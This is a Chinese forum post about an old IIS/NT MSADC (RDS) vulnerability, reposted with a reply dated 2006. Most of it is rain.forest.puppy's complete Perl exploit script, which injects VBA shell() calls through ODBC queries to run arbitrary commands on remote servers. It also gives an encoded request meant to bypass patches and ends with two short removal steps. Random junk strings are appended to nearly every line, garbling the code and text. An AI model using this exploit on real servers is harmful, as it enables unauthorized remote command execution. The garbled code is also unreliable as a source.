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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) N%A[}Y0;MW  
oXc!JZ^  
涉及程序: .]qj];m  
Microsoft NT server $f-f0t'  
B?nQUIb:  
描述: }' mBqn  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 A3p@hQl  
-$E_L :M  
详细: 8} \Lt  
如果你没有时间读详细内容的话,就删除: <|M cE  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 2z7+@!w/  
有关的安全问题就没有了。 99@uU[&IJ  
n# %mL<  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 u6A ReL 'f  
IRemF@  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 <|NP!eMsw8  
关于利用ODBC远程漏洞的描述,请参看: 4ey m$UWw  
;[]{O5TB  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm :!M/9D*}0  
#ra~Yb-F  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 V fJYYR  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp vs/.'yD/C  
vr|9NP]v  
这里不再论述。 !_VKJZuH  
Lt+ Cm$3  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ngprTMO$&  
,%#FK|  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Ji_3*(  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 3[E3]]OVa  
u=h:d+rq@  
$ZD1_sJ.  
#将下面这段保存为txt文件,然后: "perl -x 文件名" nk,X6o9%  
6.},y<E  
#!perl }&)X4=  
# 8. [TPiUn'  
# MSADC/RDS 'usage' (aka exploit) script A@BYd'}]  
# )oJn@82C|  
# by rain.forest.puppy L'LZK  
# $9DV }  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Gpws_ jw  
# beta test and find errors! $DZ\61  
2r2qZ#I}  
use Socket; use Getopt::Std; 66*/"dBwm  
getopts("e:vd:h:XR", \%args); 0b9;v lGq$  
IWvLt  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; .az +'1  
vT V'D&x2  
if (!defined $args{h} && !defined $args{R}) { .7Zb,r  
print qq~ %e2,p&0G  
Usage: msadc.pl -h <host> { -d <delay> -X -v } cF9bSY_Eh  
-h <host> = host you want to scan (ip or domain) Xm./XC  
-d <seconds> = delay between calls, default 1 second B] dvX  
-X = dump Index Server path table, if available GndU}[0J  
-v = verbose 6 eqxwj{S[  
-e = external dictionary file for step 5 <(dHh9$~  
&v7$*n27  
Or a -R will resume a command session cXiNO ke&  
:?%$={m  
~; exit;} Hn5:*;N  
l2"{uCcA  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; +jePp_3$O  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} v1Tla]d  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} > 4>!zZ  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ld8E!t[  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} {<{ O!  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } !63p?Q=  
7U> Xi'?  
if (!defined $args{R}){ $ret = &has_msadc; g5X;]%:  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ;uj&j1  
QFMR~6 ?  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" C?jk#T  
. "cmd /c "; >58N P1[k  
$in=<STDIN>; chomp $in; ?AC flU_k  
$command="cmd /c " . $in ; m~c z  
5+*MqO>  
if (defined $args{R}) {&load; exit;} o$]wd*+  
(_h<<`@B  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; C7#ji"t  
&try_btcustmr; )[&'\SOO  
ocCq$%Ka  
print "\nStep 2: Trying to make our own DSN..."; #@s[!4)_I  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; lXH?*  
e P]L  
print "\nStep 3: Trying known DSNs..."; Y ;$wD9W  
&known_dsn; {"T$j V:GB  
tHAr9  
print "\nStep 4: Trying known .mdbs..."; P;_}nbB  
&known_mdb; t*H r(|.  
FCL7Tn  
if (defined $args{e}){ &)[?D<  
print "\nStep 5: Trying dictionary of DSN names..."; N>kY$*  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 1h uU7xuf  
THC7e>P4  
print "Sorry Charley...maybe next time?\n"; `}t<5_  
exit; )Il) H  
28,Hd!{  
############################################################################## YJdM6   
72uARF  
sub sendraw { # ripped and modded from whisker iI T7pq1  
sleep($delay); # it's a DoS on the server! At least on mine... RCM;k;@8V  
my ($pstr)=@_; 1vKAJ<4W  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || O# n<`;W  
die("Socket problems\n"); !C13E lf  
if(connect(S,pack "SnA4x8",2,80,$target)){ ZfMDyS$.  
select(S); $|=1; MIa#\tJj  
print $pstr; my @in=<S>; }8 V/Cd9  
select(STDOUT); close(S); j#:IG/)GL  
return @in; /4Ud6gscf  
} else { die("Can't connect...\n"); }} 1dDK(RBbQ  
AA=zDB<N  
############################################################################## !1G6ZC:z  
L@9@3?  
sub make_header { # make the HTTP request og0su  
my $msadc=<<EOT \ZNUt$\  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 `sW+R=  
User-Agent: ACTIVEDATA zt&"K0X|  
Host: $ip /e|vz^#+1,  
Content-Length: $clen X5[.X()M4  
Connection: Keep-Alive v\&C]W]  
%?<Y&t  
ADCClientVersion:01.06 D,R"P }G  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 >3aB{[[N  
\ @XvEx%  
--!ADM!ROX!YOUR!WORLD! B^|^hZZ>  
Content-Type: application/x-varg `Vph=`0  
Content-Length: $reqlen CMu/n]?c  
g$X4ZRSel  
EOT b&wyp@k  
; $msadc=~s/\n/\r\n/g; 8v{0=9,Z  
return $msadc;} 'PO+P~|oa&  
M N-j$-y}  
############################################################################## Sq<ds}o'8l  
9 5cIdF 6m  
sub make_req { # make the RDS request c+dmA(JC  
my ($switch, $p1, $p2)=@_; =:neGqd\_E  
my $req=""; my $t1, $t2, $query, $dsn; >)`yG'[  
HNXMM  
if ($switch==1){ # this is the btcustmr.mdb query LVHIQ9  
$query="Select * from Customers where City=" . make_shell(); <!qN<#$y  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . O+f'Ql  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Gl am(V1  
MBp,! _Q6  
elsif ($switch==2){ # this is general make table query M~h^~:Lk  
$query="create table AZZ (B int, C varchar(10))"; :~"Dwrui  
$dsn="$p1";} O@9<7@h+Nl  
X(r$OZ  
elsif ($switch==3){ # this is general exploit table query `1xJ1 z#  
$query="select * from AZZ where C=" . make_shell(); vZ6_/ew8  
$dsn="$p1";} Al93x  
0NB5YQ8_]  
elsif ($switch==4){ # attempt to hork file info from index server S/?!ESW6  
$query="select path from scope()"; FdwlRuG  
$dsn="Provider=MSIDXS;";} G~. bi<(v  
i>elK<R4  
elsif ($switch==5){ # bad query PxAUsY  
$query="select"; 4Su|aWL-  
$dsn="$p1";} K U;d[Z@g  
s?j||  
$t1= make_unicode($query); K>a@AXC  
$t2= make_unicode($dsn); bM@8[&t a  
$req = "\x02\x00\x03\x00"; Ca]V%g(  
$req.= "\x08\x00" . pack ("S1", length($t1)); wC&+nS1  
$req.= "\x00\x00" . $t1 ; v % c-El%  
$req.= "\x08\x00" . pack ("S1", length($t2)); xZE%Gf_U  
$req.= "\x00\x00" . $t2 ; aG*Mj;J  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; +uqP:z  
return $req;} (Zi,~Wqm$  
pw, <0UhV  
############################################################################## :Vnus @#r  
+.3,(l  
sub make_shell { # this makes the shell() statement a_V.mu6h6p  
return "'|shell(\"$command\")|'";} K?J?]VCw  
f.e4 C,  
############################################################################## }LA7ku  
V#Pz `D  
sub make_unicode { # quick little function to convert to unicode (_ TKDx_  
my ($in)=@_; my $out; RCC~#bb  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } bnZ`Wc*5b  
return $out;} Au"7w=G`f  
C@F3iwTtp  
############################################################################## GZx?vSoHh  
h\<;N*Xi  
sub rdo_success { # checks for RDO return success (this is kludge) IKs2.sj"o  
my (@in) = @_; my $base=content_start(@in); -dO9y=?t  
if($in[$base]=~/multipart\/mixed/){ yt 5'2!jc  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} yN/Uyhq  
return 0;} E|9'{3$  
w8KVs\/  
############################################################################## nW"ml$  
JI7.:k;  
sub make_dsn { # this makes a DSN for us A< *G;  
my @drives=("c","d","e","f"); w~|z0;hC  
print "\nMaking DSN: "; *.P3fVlZ  
foreach $drive (@drives) { Jc9BZ`~i  
print "$drive: "; 3:B4;  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . _/pdZM,V  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" %YLyh?J  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); x6iT"\MO  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ^v+7IFn  
return 0 if $2 eq "404"; # not found/doesn't exist *Q`y'6S  
if($2 eq "200") { j"Y5j B`  
foreach $line (@results) { d{FD.eI 0  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} >XU93 )CX  
} return 0;} ,!I'0x1OR  
Y(97},  
############################################################################## ;)rs#T;$  
g@s'-8}X^  
sub verify_exists { Qh{]gw-6  
my ($page)=@_; ".|?A9m_  
my @results=sendraw("GET $page HTTP/1.0\n\n"); iJ%`ym4Y  
return $results[0];} hcrx(oJ5  
w=}R'O;k  
############################################################################## F7N4qq1  
-guVl 4 V  
sub try_btcustmr { ;e#bl1%#  
my @drives=("c","d","e","f"); I]jK]]@  
my @dirs=("winnt","winnt35","winnt351","win","windows"); LQ'VhNU  
qJ5gdID1_  
foreach $dir (@dirs) { R) 'AI[la  
print "$dir -> "; # fun status so you can see progress y^tp^  
foreach $drive (@drives) { (cpaMn@)g  
print "$drive: "; # ditto cuUlr  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; noSBwP| v*  
$reqlenlen=length( "$reqlen" ); >=!$(JgX  
$clen= 206 + $reqlenlen + $reqlen; bA*T1Db,t>  
O ]Stf7]%;  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); O~u@J'4  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 'boAv%1_sa  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} nv-_\M   
+jrMvk"  
############################################################################## m L,El2  
:978D0}{p  
sub odbc_error { mj^]e/s%  
my (@in)=@_; my $base; n<3*7/-  
my $base = content_start(@in); :d`8:gv?  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this KGq4tlM6  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; P6([[mmG  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; bR&<vrMmrA  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; FK!UUy;  
return $in[$base+4].$in[$base+5].$in[$base+6];} )WR*8659e  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; dq U.2~9  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . *JmU",X  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} K26x,m]p  
1u\kxlZ  
############################################################################## v>]^wH>/"  
%n<.)R  
sub verbose { ,Y_[+  
my ($in)=@_; m<wEw-1.  
return if !$verbose; J6m(\o  
print STDOUT "\n$in\n";} )9mUE*[  
g$eZT{{W  
############################################################################## Z+J;nl  
?&>H^}gDZ  
sub save { Kj`sq":Je0  
my ($p1, $p2, $p3, $p4)=@_; o7#Mr`6H  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; }N}\<RG  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 8QaF(?  
close OUT;} J"W+9sI0  
J`@#yHL  
############################################################################## R$xkcg2(  
{V*OYYI`R  
sub load { Vo-]&u&cr  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 4}t&AW4  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); v*.#LJEm  
@p=<IN>; close(IN); 2`]_c=  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Qx%]u8s  
$target= inet_aton($ip) || die("inet_aton problems"); W;9Jah.  
print "Resuming to $ip ..."; Me|+)}'p5h  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; twA2U7F  
if($p[1]==1) { xgQ]#{ tG  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; |Sf` Cs  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ^FZ7)T  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); TV&4m5  
if (rdo_success(@results)){print "Success!\n";} O&c~7tM%  
else { print "failed\n"; verbose(odbc_error(@results));}} 6"UL+$k  
elsif ($p[1]==3){ dS[="Set  
if(run_query("$p[3]")){ H@R2mw  
print "Success!\n";} else { print "failed\n"; }} fpK`  
elsif ($p[1]==4){ =P"Sm r  
if(run_query($drvst . "$p[3]")){ Z" !+p{u  
print "Success!\n"; } else { print "failed\n"; }} 68v59)0U  
exit;} c6NCy s  
J@I-tS  
############################################################################## mK2M1r  
[Y^1}E*  
sub create_table { <fLk\ =  
my ($in)=@_; I$7TnMug  
$reqlen=length( make_req(2,$in,"") ) - 28; 6qgII~F'  
$reqlenlen=length( "$reqlen" ); ^-'t`mRl]d  
$clen= 206 + $reqlenlen + $reqlen; ->S6S_H/+&  
my @results=sendraw(make_header() . make_req(2,$in,"")); EjYCOb-  
return 1 if rdo_success(@results); M+N7JpR  
my $temp= odbc_error(@results); verbose($temp); koizk&)  
return 1 if $temp=~/Table 'AZZ' already exists/; W%k0_Y/5  
return 0;} P=jbr"5Q:  
rLm:qu(F1  
############################################################################## dGb]`*E  
c*"TmDY  
sub known_dsn { s3LR6Z7;i  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go J&IFn/JK$  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", G3G"SJ np  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", }813.U  
"banner", "banners", "ads", "ADCDemo", "ADCTest");  8/|~E  
fWBI}~e  
foreach $dSn (@dsns) { u+RdC;_  
print "."; sN `NZyG  
next if (!is_access("DSN=$dSn")); bof{R{3q  
if(create_table("DSN=$dSn")){ cP~?Iz8nD  
print "$dSn successful\n"; s: .5S  
if(run_query("DSN=$dSn")){ 1K;i/  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { $*Q_3]AY]  
print "Something's borked. Use verbose next time\n";}}} print "\n";} $K,6!FyBa  
^5l4D3@E  
############################################################################## CbA2?(1o1  
$ZPiM  
sub is_access { 5^\f[}  
my ($in)=@_; U/JeEI%L  
$reqlen=length( make_req(5,$in,"") ) - 28; @zJhJ'~ Sl  
$reqlenlen=length( "$reqlen" ); AjQ^ {P  
$clen= 206 + $reqlenlen + $reqlen; EPz$`#Sh"  
my @results=sendraw(make_header() . make_req(5,$in,"")); /?; 8F  
my $temp= odbc_error(@results); _S(]/d(c  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 5[Ryc[  
return 0;}  uT}Jw  
| ZI~#V  
############################################################################## g8{?;  
f]BG`rJX  
sub run_query { E&/D%}Wl  
my ($in)=@_; "5-S:+  
$reqlen=length( make_req(3,$in,"") ) - 28; hOX$|0i  
$reqlenlen=length( "$reqlen" ); 1MV\ ^l_  
$clen= 206 + $reqlenlen + $reqlen; [Q/')5b  
my @results=sendraw(make_header() . make_req(3,$in,"")); <h/\)bPB  
return 1 if rdo_success(@results); oK GFDl]3  
my $temp= odbc_error(@results); verbose($temp); p,=:Ff}~  
return 0;} "}bk *2  
$o"PQ!z  
############################################################################## C_[V[k0(  
lxRzyx  
sub known_mdb { FRicHs n  
my @drives=("c","d","e","f","g"); )y7SkH|  
my @dirs=("winnt","winnt35","winnt351","win","windows"); AUnRr+o  
my $dir, $drive, $mdb; [G/q*a:K  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; H]. 4~ 8  
u_o>v{&i  
# this is sparse, because I don't know of many 6NCa=9  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 6t5)rlT  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", dm Lgt)-t  
"\\system32\\certmdb.mdb", A}#@(ma7  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% bl>MD8bzLE  
Qr;es,f  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", "Yn <]Pa_  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 62}bs/%  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", &Z+a (  
"\\cfusion\\cfapps\\security\\realm_.mdb", )>ed6A1  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", %<e\s6|P:  
"\\cfusion\\database\\cfexamples.mdb", HRx%m1H  
"\\cfusion\\database\\cfsnippets.mdb", BEM+FG  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 'nNw  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", : 5@cj j  
"\\cfusion\\brighttiger\\database\\cleam.mdb", %>uGzQ61  
"\\cfusion\\database\\smpolicy.mdb", j\nnx8`7  
"\\cfusion\\database\cypress.mdb", RGGP6SDc  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", FeS6>/  
"\\website\\cgi-win\\dbsample.mdb", $} S5&  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", zjh&?G]:G  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" kNW&rg  
); #these are just t%Z_*mIfmE  
foreach $drive (@drives) { ??rx\*,C</  
foreach $dir (@dirs){ 0>-l {4srs  
foreach $mdb (@sysmdbs) { $7aRf'  
print "."; lC6#EU;  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Kbc-$ oneR  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; YE5v~2  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ sHe:h XG'  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; '?Q [.{<  
} else { print "Something's borked. Use verbose next time\n"; }}}}} c3|;'s  
Jug1Va<^c  
foreach $drive (@drives) { ~Gc+naE>  
foreach $mdb (@mdbs) { fPHv|_XM>  
print "."; sm}v0V.Js  
if(create_table($drv . $drive . $dir . $mdb)){ M6!kn~  
print "\n" . $drive . $dir . $mdb . " successful\n"; gtz!T2%  
if(run_query($drv . $drive . $dir . $mdb)){ hX=+%^c%_A  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; qJW>Y}  
} else { print "Something's borked. Use verbose next time\n"; }}}} DRi!WWivn  
} muo7KUT  
%|Vo Zx ^  
############################################################################## eF"7[_+D  
1,W%t\D  
sub hork_idx { "Q+'lA[}  
print "\nAttempting to dump Index Server tables...\n"; x#| P-^  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; T}2a~  
$reqlen=length( make_req(4,"","") ) - 28; "G|Gyc  
$reqlenlen=length( "$reqlen" ); 2?ZH WS>U  
$clen= 206 + $reqlenlen + $reqlen; gsc*![N  
my @results=sendraw2(make_header() . make_req(4,"","")); /w!b2KwV  
if (rdo_success(@results)){ @?K(+BGi  
my $max=@results; my $c; my %d; >}<:5gZtA  
for($c=19; $c<$max; $c++){ 7%8,*T  
$results[$c]=~s/\x00//g; -z0,IYG }  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; W #qM$  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; P _Zf(`jJ  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; &}w,bG$  
$d{"$1$2"}="";} Q=gVxS  
foreach $c (keys %d){ print "$c\n"; } 8ne'x!1 D  
} else {print "Index server doesn't seem to be installed.\n"; }} RgQ\Cs24Q  
Yq/|zTe{  
############################################################################## QE!cf@~n"  
|82V` CV  
sub dsn_dict { >Q+a'bd w  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ,D3q8?j  
while(<IN>){ "S[VtuxPCU  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; d[rxmEXht  
next if (!is_access("DSN=$dSn")); lyZof_/*  
if(create_table("DSN=$dSn")){ g@nk0lQewj  
print "$dSn successful\n"; + 7E6U*  
if(run_query("DSN=$dSn")){ /D8cJgH-  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { jzEimKDE's  
print "Something's borked. Use verbose next time\n";}}} <g,k[  
print "\n"; close(IN);} O(/K@e  
1WcT>_$  
############################################################################## J~<:yBup}  
4pq>R  
sub sendraw2 { # ripped and modded from whisker ?Dm!;Z+7  
sleep($delay); # it's a DoS on the server! At least on mine... H:9( XW  
my ($pstr)=@_; DfV_08  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || wGISb\rr  
die("Socket problems\n"); ffm19B=  
if(connect(S,pack "SnA4x8",2,80,$target)){ AGCqJ8`|T  
print "Connected. Getting data"; RPaB4>  
open(OUT,">raw.out"); my @in; m^T$H_*;  
select(S); $|=1; print $pstr; 6Om-[^  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Ko''G5+  
close(OUT); select(STDOUT); close(S); return @in; )l30~5u<J  
} else { die("Can't connect...\n"); }} #JuO  
'L3 \I  
############################################################################## &r DOqj  
66)@4 3V  
sub content_start { # this will take in the server headers TmX~vZ  
my (@in)=@_; my $c; ,[Cl'B  
for ($c=1;$c<500;$c++) { [b;Oalw  
if($in[$c] =~/^\x0d\x0a/){ Ylt[Ks<2  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } %F&j B  
else { return $c+1; }}} g:;v]   
return -1;} # it should never get here actually S3qUzK  
g"C$B Fc  
############################################################################## w=#&(xm0  
{Fb)Z"8]  
sub funky { z0g]nYN%  
my (@in)=@_; my $error=odbc_error(@in); ]X?+]9Fr  
if($error=~/ADO could not find the specified provider/){ }(M<sEK~  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; {,s:vPoiA  
exit;} 'Q(A5zfN]Y  
if($error=~/A Handler is required/){ fhfdNmtR)I  
print "\nServer has custom handler filters (they most likely are patched)\n"; zq4mT;rqz  
exit;} Cn28&$:J  
if($error=~/specified Handler has denied Access/){ L<8y5B~W  
print "\nServer has custom handler filters (they most likely are patched)\n"; e|MyA?`  
exit;}} e>z7?"N  
\3)%p('  
############################################################################## A%+~   
>t*zY~R.  
sub has_msadc { YLobBtXc9  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Ubn5tN MK  
my $base=content_start(@results); i7fpl  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); b>2u>4  
return 0;} V!},a@>p  
'd6hQ4Vw4  
######################## k,?Y`s  
z=ppNP0  
Nb]qY>K  
解决方案: *~&W?i  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 'a"<uk3DT  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ]L &_R^  
*Z/B\nb  
拿出来充数 哈哈
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